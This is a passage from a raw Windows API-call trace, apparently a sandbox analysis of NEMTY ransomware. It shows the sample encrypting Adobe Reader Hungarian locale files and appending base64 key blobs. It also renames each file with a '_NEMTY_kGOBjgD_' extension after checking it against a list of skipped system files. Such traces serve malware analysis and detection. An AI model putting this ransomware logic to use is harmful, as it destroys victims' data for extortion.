pszString="f71ygLF7vak9LxGnjZ3zk8hBfFTPCBIr8QFpgE+mNDpHOf6HwUNGniTi6V1f1CYW\r\nNlRtevHqwqqpdb1g1kmLygGkGz0yFy4+TD7d861qp4GvUNF0PbPaqc1K1ETQTB9A\r\nEVT2Gix7PK8I7NL3D9Hbje/Q+ji9o/j1SWpOel7MIx5Q+dqa3lNmFQfwnof/HzQ/\r\nvUD5TsrczMlAUte7131IR/N+Ru5TJTucvSD+2j6sxp2/TV7VUbiBvvCIoSi7gPtE\r\nUX1WaK4wivemk+KHTsar3B8osHm5cj5KEzvhnN43Fu1tBuxNzVgFZUGinZ6XfPcO\r\nvM0CsXF0atxN1KSJiw9+fQ==\r\n", pcchString=0x653e5dc) returned 1 [0178.041] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0178.041] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0178.041] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0178.041] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0178.041] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0178.041] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0178.041] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\makeaccessible.HUN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu\\makeaccessible.hun"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0178.042] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=76800) returned 1 [0178.042] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x12c00) returned 0x6352c48 [0178.042] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0178.042] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x12c00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x12c00, lpOverlapped=0x0) returned 1 [0178.048] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0178.048] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x12c00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x12c00, lpOverlapped=0x0) returned 1 [0178.048] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0178.048] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=76800, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x12c00 [0178.048] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0178.048] CloseHandle (hObject=0x2e8) returned 1 [0178.048] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0178.048] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0178.048] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0178.048] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0178.048] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0178.048] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0178.049] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340308 [0178.049] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63403c0 [0178.049] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0178.049] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0178.049] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\makeaccessible.HUN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu\\makeaccessible.hun"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\makeaccessible.HUN._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu\\makeaccessible.hun._nemty_kgobjgd_")) returned 1 [0178.049] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403c0 | out: hHeap=0x4f90000) returned 1 [0178.049] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0178.049] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0178.049] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0178.049] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0178.049] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0178.049] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0178.049] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0178.049] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0178.049] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.049] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d7bb9a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x13c00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Multimedia.HUN", cAlternateFileName="MULTIM~1.HUN")) returned 1 [0178.049] lstrcmpiW (lpString1="Multimedia.HUN", lpString2=".") returned 1 [0178.049] lstrcmpiW (lpString1="Multimedia.HUN", lpString2="..") returned 1 [0178.049] lstrcmpiW (lpString1="Multimedia.HUN", lpString2="...") returned 1 [0178.049] lstrcmpiW (lpString1="Multimedia.HUN", lpString2="windows") returned -1 [0178.050] lstrcmpiW (lpString1="Multimedia.HUN", lpString2="$RECYCLE.BIN") returned 1 [0178.050] lstrcmpiW (lpString1="Multimedia.HUN", lpString2="rsa") returned -1 [0178.050] lstrcmpiW (lpString1="Multimedia.HUN", lpString2="NTDETECT.COM") returned -1 [0178.050] lstrcmpiW (lpString1="Multimedia.HUN", lpString2="ntldr") returned -1 [0178.050] lstrcmpiW (lpString1="Multimedia.HUN", lpString2="MSDOS.SYS") returned 1 [0178.050] lstrcmpiW (lpString1="Multimedia.HUN", lpString2="IO.SYS") returned 1 [0178.050] lstrcmpiW (lpString1="Multimedia.HUN", lpString2="boot.ini") returned 1 [0178.050] lstrcmpiW (lpString1="Multimedia.HUN", lpString2="boot.ini") returned 1 [0178.050] lstrcmpiW (lpString1="Multimedia.HUN", lpString2="AUTOEXEC.BAT") returned 1 [0178.050] lstrcmpiW (lpString1="Multimedia.HUN", lpString2="ntuser.dat") returned -1 [0178.050] lstrcmpiW (lpString1="Multimedia.HUN", lpString2="desktop.ini") returned 1 [0178.050] lstrcmpiW (lpString1="Multimedia.HUN", lpString2="CONFIG.SYS") returned 1 [0178.050] lstrcmpiW (lpString1="Multimedia.HUN", lpString2="RECYCLER") returned -1 [0178.050] lstrcmpiW (lpString1="Multimedia.HUN", lpString2="BOOTSECT.BAK") returned 1 [0178.050] lstrcmpiW (lpString1="Multimedia.HUN", lpString2="bootmgr") returned 1 [0178.050] lstrcmpiW (lpString1="Multimedia.HUN", lpString2="programdata") returned -1 [0178.050] lstrcmpiW (lpString1="Multimedia.HUN", lpString2="appdata") returned 1 [0178.050] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.050] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.HUN", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0178.050] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.HUN", cchWideChar=14, lpMultiByteStr=0x653e890, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Multimedia.HUN", lpUsedDefaultChar=0x0) returned 14 [0178.050] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0178.050] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.HUN", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0178.050] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.HUN", cchWideChar=14, lpMultiByteStr=0x653e890, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Multimedia.HUN", lpUsedDefaultChar=0x0) returned 14 [0178.050] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0178.050] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.050] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.050] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.HUN", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0178.050] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.HUN", cchWideChar=14, lpMultiByteStr=0x653e8e0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Multimedia.HUN", lpUsedDefaultChar=0x0) returned 14 [0178.050] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.050] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.050] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.HUN", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0178.050] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.HUN", cchWideChar=14, lpMultiByteStr=0x653e918, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Multimedia.HUN", lpUsedDefaultChar=0x0) returned 14 [0178.050] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.050] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0178.051] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0178.051] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0178.051] Sleep (dwMilliseconds=0x5) [0178.056] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1dc6d2f0, dwHighDateTime=0x1d561e8)) [0178.056] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1dc6d2f0, dwHighDateTime=0x1d561e8)) [0178.056] GetLastError () returned 0x0 [0178.056] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0178.056] GetLastError () returned 0x0 [0178.056] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.056] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0178.056] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0178.056] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0178.056] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0178.057] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0178.057] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0178.057] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="9dsCCGFi1bVDNK5Anw0VE27ijZTO3LX2cwVfFLRnLR6QJwqiTyLgRIH44des4Wn9\r\nmtR42Qg7xUHPEnqGRu5CyKUFMY6uCqQ4YsUraVWojEZg0nwFlLmmSPaOZYsOHpIw\r\n4cKgeHFGew1D12km7xkZOamNg59mK0/Ib85oPzPz0x5EMYrTeKVDQZ0PMhSIaZ4U\r\nfodAD95ptWoRt5lWEPAw/tdFnbTfU/w7l0b6ncYNi3uGw70zUm7poDLk4vuFEwoj\r\nWCp9qWy5QymaiYOVkhOMAkepmz8CYbhHatrc0DO9ydX0uvwtygEhVQugV8/F0gR/\r\n/UE7Yd97ZF3DGVwx4g0qqQ==\r\n", pcchString=0x653e5dc) returned 1 [0178.057] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0178.057] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0178.057] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0178.057] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0178.057] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0178.057] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0178.057] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\Multimedia.HUN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu\\multimedia.hun"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0178.057] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=80896) returned 1 [0178.057] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x13c00) returned 0x6352c48 [0178.057] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0178.057] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x13c00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x13c00, lpOverlapped=0x0) returned 1 [0178.073] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0178.073] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x13c00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x13c00, lpOverlapped=0x0) returned 1 [0178.073] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0178.073] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=80896, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x13c00 [0178.073] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0178.073] CloseHandle (hObject=0x2e8) returned 1 [0178.073] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0178.073] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0178.073] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0178.073] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0178.073] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0178.073] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0178.073] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0178.073] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0178.073] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0178.073] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0178.074] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\Multimedia.HUN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu\\multimedia.hun"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\Multimedia.HUN._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu\\multimedia.hun._nemty_kgobjgd_")) returned 1 [0178.074] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0178.074] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0178.074] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0178.074] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0178.074] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0178.074] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0178.074] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.074] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0178.074] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db27940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="pddom.HUN", cAlternateFileName="")) returned 1 [0178.074] lstrcmpiW (lpString1="pddom.HUN", lpString2=".") returned 1 [0178.074] lstrcmpiW (lpString1="pddom.HUN", lpString2="..") returned 1 [0178.074] lstrcmpiW (lpString1="pddom.HUN", lpString2="...") returned 1 [0178.075] lstrcmpiW (lpString1="pddom.HUN", lpString2="windows") returned -1 [0178.075] lstrcmpiW (lpString1="pddom.HUN", lpString2="$RECYCLE.BIN") returned 1 [0178.075] lstrcmpiW (lpString1="pddom.HUN", lpString2="rsa") returned -1 [0178.075] lstrcmpiW (lpString1="pddom.HUN", lpString2="NTDETECT.COM") returned 1 [0178.075] lstrcmpiW (lpString1="pddom.HUN", lpString2="ntldr") returned 1 [0178.075] lstrcmpiW (lpString1="pddom.HUN", lpString2="MSDOS.SYS") returned 1 [0178.075] lstrcmpiW (lpString1="pddom.HUN", lpString2="IO.SYS") returned 1 [0178.075] lstrcmpiW (lpString1="pddom.HUN", lpString2="boot.ini") returned 1 [0178.075] lstrcmpiW (lpString1="pddom.HUN", lpString2="boot.ini") returned 1 [0178.075] lstrcmpiW (lpString1="pddom.HUN", lpString2="AUTOEXEC.BAT") returned 1 [0178.075] lstrcmpiW (lpString1="pddom.HUN", lpString2="ntuser.dat") returned 1 [0178.075] lstrcmpiW (lpString1="pddom.HUN", lpString2="desktop.ini") returned 1 [0178.075] lstrcmpiW (lpString1="pddom.HUN", lpString2="CONFIG.SYS") returned 1 [0178.075] lstrcmpiW (lpString1="pddom.HUN", lpString2="RECYCLER") returned -1 [0178.075] lstrcmpiW (lpString1="pddom.HUN", lpString2="BOOTSECT.BAK") returned 1 [0178.075] lstrcmpiW (lpString1="pddom.HUN", lpString2="bootmgr") returned 1 [0178.075] lstrcmpiW (lpString1="pddom.HUN", lpString2="programdata") returned -1 [0178.075] lstrcmpiW (lpString1="pddom.HUN", lpString2="appdata") returned 1 [0178.075] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.075] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.HUN", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0178.075] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.HUN", cchWideChar=9, lpMultiByteStr=0x653e890, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pddom.HUN", lpUsedDefaultChar=0x0) returned 9 [0178.075] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0178.075] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.HUN", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0178.075] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.HUN", cchWideChar=9, lpMultiByteStr=0x653e890, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pddom.HUN", lpUsedDefaultChar=0x0) returned 9 [0178.075] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0178.075] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.075] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.075] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.HUN", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0178.075] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.HUN", cchWideChar=9, lpMultiByteStr=0x653e8e0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pddom.HUN", lpUsedDefaultChar=0x0) returned 9 [0178.075] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.075] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.075] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.HUN", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0178.075] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.HUN", cchWideChar=9, lpMultiByteStr=0x653e918, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pddom.HUN", lpUsedDefaultChar=0x0) returned 9 [0178.076] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.076] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0178.076] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0178.076] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0178.076] Sleep (dwMilliseconds=0x5) [0178.087] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1dcb95b0, dwHighDateTime=0x1d561e8)) [0178.087] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1dcb95b0, dwHighDateTime=0x1d561e8)) [0178.087] GetLastError () returned 0x0 [0178.087] RtlAllocateHeap (HeapHandle=0x4f90000, 